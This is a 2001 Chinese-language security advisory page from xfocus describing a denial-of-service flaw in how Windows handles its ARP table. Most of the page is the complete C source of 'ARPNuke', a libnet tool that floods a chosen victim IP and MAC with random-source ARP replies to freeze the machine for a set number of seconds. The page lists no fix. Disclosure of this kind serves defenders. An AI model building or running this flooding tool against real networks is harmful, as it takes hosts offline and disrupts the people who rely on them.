xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Microsoft Windows协议堆栈在处理arp 表存在问题


发布时间:2001-08-07
更新时间:2001-08-07
严重程度:
威胁程度:远程拒绝服务
错误类型:设计错误
利用方式:服务器模式

受影响系统
Microsoft Windows
详细描述
Microsoft Windows协议堆栈在处理arp 表存在问题,ARP使用一些不
高效数据结构处理代码来管理ARP条目,这种处理在主机遇到大量ARP
请求时会导致死锁。对WINDOWS机器发送大量的随机源IP和任意MAC地址
的ARP请求包,会导致CPU使用率达到100%并机器死锁。

测试代码
/****************************************************
* *
* ARPNuke *
* nuke local hosts by random ARP traffic *
* by IhaQueR *
* *
****************************************************/




extern "C" {
#include <time.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pcap.h>
#include <libnet.h>
#include <sys/times.h>
}



#define TMPBUFLEN 256
#define IP_LEN 4
#define MAC_LEN 6

// packet burst
#define PSEQ 50

// packet preload
#define STARTSEQ 15000


const unsigned char ethernull[6] = {0,0,0,0,0,0};
const unsigned char etherbcast[6] = {255,255,255,255,255,255};
u_char* sniffdevice;




// prints MAC
void print_mac(unsigned char* mac)
{
    printf("\nMAC: %x:%x:%x:%x:%x:%x ", (unsigned)mac[0], (unsigned)mac[1], (unsigned)mac[2], (unsigned)mac[3], (unsigned)mac[4], (unsigned)mac[5]);
}


// sprints MAC
char* sprint_mac(unsigned char* mac)
{
static char tmpbuf[TMPBUFLEN];

    sprintf(tmpbuf, "%x:%x:%x:%x:%x:%x", (unsigned)mac[0], (unsigned)mac[1], (unsigned)mac[2], (unsigned)mac[3], (unsigned)mac[4], (unsigned)mac[5]);

return tmpbuf;
}


// prints IP
void print_ip(unsigned char* ip)
{
    printf("\nIP: %u.%u.%u.%u ", (unsigned)ip[0], (unsigned)ip[1], (unsigned)ip[2], (unsigned)ip[3]);
}


// sprints IP
char* sprint_ip(unsigned char* ip)
{
static char tmpbuf[TMPBUFLEN];

    sprintf(tmpbuf, "%u.%u.%u.%u", (unsigned)ip[0], (unsigned)ip[1], (unsigned)ip[2], (unsigned)ip[3]);

return tmpbuf;
}


// reads MAC
void get_mac(u_char* mac, char* optarg)
{
    int i=0;
    char* ptr = strtok(optarg, ":-");
    while(ptr) {
      unsigned nmb;
      sscanf(ptr, "%x", &nmb);
      mac[i] = (u_char)nmb;
      ptr = strtok(NULL, ":-");
      i++;
    }
}


// reads IP
void get_ip(u_char* ip, char* ipstr)
{
    int i=0;
    char* ptr = strtok(ipstr, ".");
    while(ptr && i<4) {
      ip[i] = (unsigned char)atoi(ptr);
      ptr = strtok(NULL, ".");
      i++;
    }
}


main(int ac, char** av)
{

// usage
    if(ac<4)
      printf("\nusage: %s <victim ip> <victim mac> <duration> [seq len]\n\n", av[0]), exit(1);

    srand(time(NULL));

    long long duration = atoi(av[3]);

    unsigned pseq = PSEQ;
    if(ac>4)
      pseq = atoi(av[4]);

    u_char victim_mac[MAC_LEN];
    get_mac(victim_mac, av[2]);

    u_char victim_ip[IP_LEN];
    get_ip(victim_ip, av[1]);

    u_char randmac[MAC_LEN];
    u_char randip[IP_LEN];
    bzero(randmac, sizeof(randmac));

    print_mac(victim_mac);
    print_ip(victim_ip);
    printf("\npacket burst: %d", pseq);
    printf("\nfreezing host for %d seconds\n", (int)duration);

    struct timeval tv;
    gettimeofday(&tv, NULL);
    long long ts1 = tv.tv_sec;
    ts1 *= 1000000;
    ts1 += tv.tv_usec;

// init libnet
    struct sockaddr_in sin;
    u_char errbuf[TMPBUFLEN];
    if(libnet_select_device(&sin, (unsigned char **)&sniffdevice, (u_char*)errbuf) != 1) {
      printf("\nERROR selecting device");
    }
    else {
      libnet_link_int* mylink;
      mylink = libnet_open_link_interface((char*)sniffdevice, (char*)errbuf);
      if(mylink == NULL) {
        printf("\nERROR opening link interface: %s", errbuf);
      }
      else {
        long long ts2 = ts1;
        int i=0, j=0;

// send random arp packets
        for(i=0; i<sizeof(randmac); i++)
          randmac[i] = rand() % 256;
        
        u_char buf[64];
        bzero(buf, sizeof(buf));

        while((ts2-ts1) < duration*1000000) {

          gettimeofday(&tv, NULL);
          ts2 = tv.tv_sec;
          ts2 *= 1000000;
          ts2 += tv.tv_usec;

          if(j > STARTSEQ && (j % pseq) == (pseq-1)) {
            usleep(1);
          }
          j++;

          for(i=0; i<sizeof(randip); i++)
            randip[i] = rand() % 256;

          libnet_build_ethernet((u_char *)victim_mac, randmac, ETHERTYPE_ARP, NULL, 0, buf);
          libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, ARPOP_REPLY,
                   randmac, randip, victim_mac, victim_ip, NULL, 0, buf+LIBNET_ETH_H);
          libnet_write_link_layer(mylink, sniffdevice, buf, LIBNET_ARP_H + LIBNET_ETH_H);
        }

        long long mbytes = ((long long)j)*(LIBNET_ARP_H + LIBNET_ETH_H);
        double mb = mbytes;
        mb /= 1024.0;
        mb /= 1024.0;

        mbytes = ((long long)j-STARTSEQ)*(LIBNET_ARP_H + LIBNET_ETH_H);
        double mbr = mbytes;
        mbr /= 1024.0;
        mbr /= 1024.0;
        mbr /= duration;

        printf("\npackets sent\t%d [pkt]\tsustained rate: %d [pkt/s]", j, (j-STARTSEQ)/duration);
        printf("\nmbytes sent\t%6.2lf [mb]\tsustained rate: %4.2lf [mb/s]", mb, mbr);
      }
    }

    printf("\n\n");

return 0;
}

解决方案
尚无

相关信息
paul at starzetz.de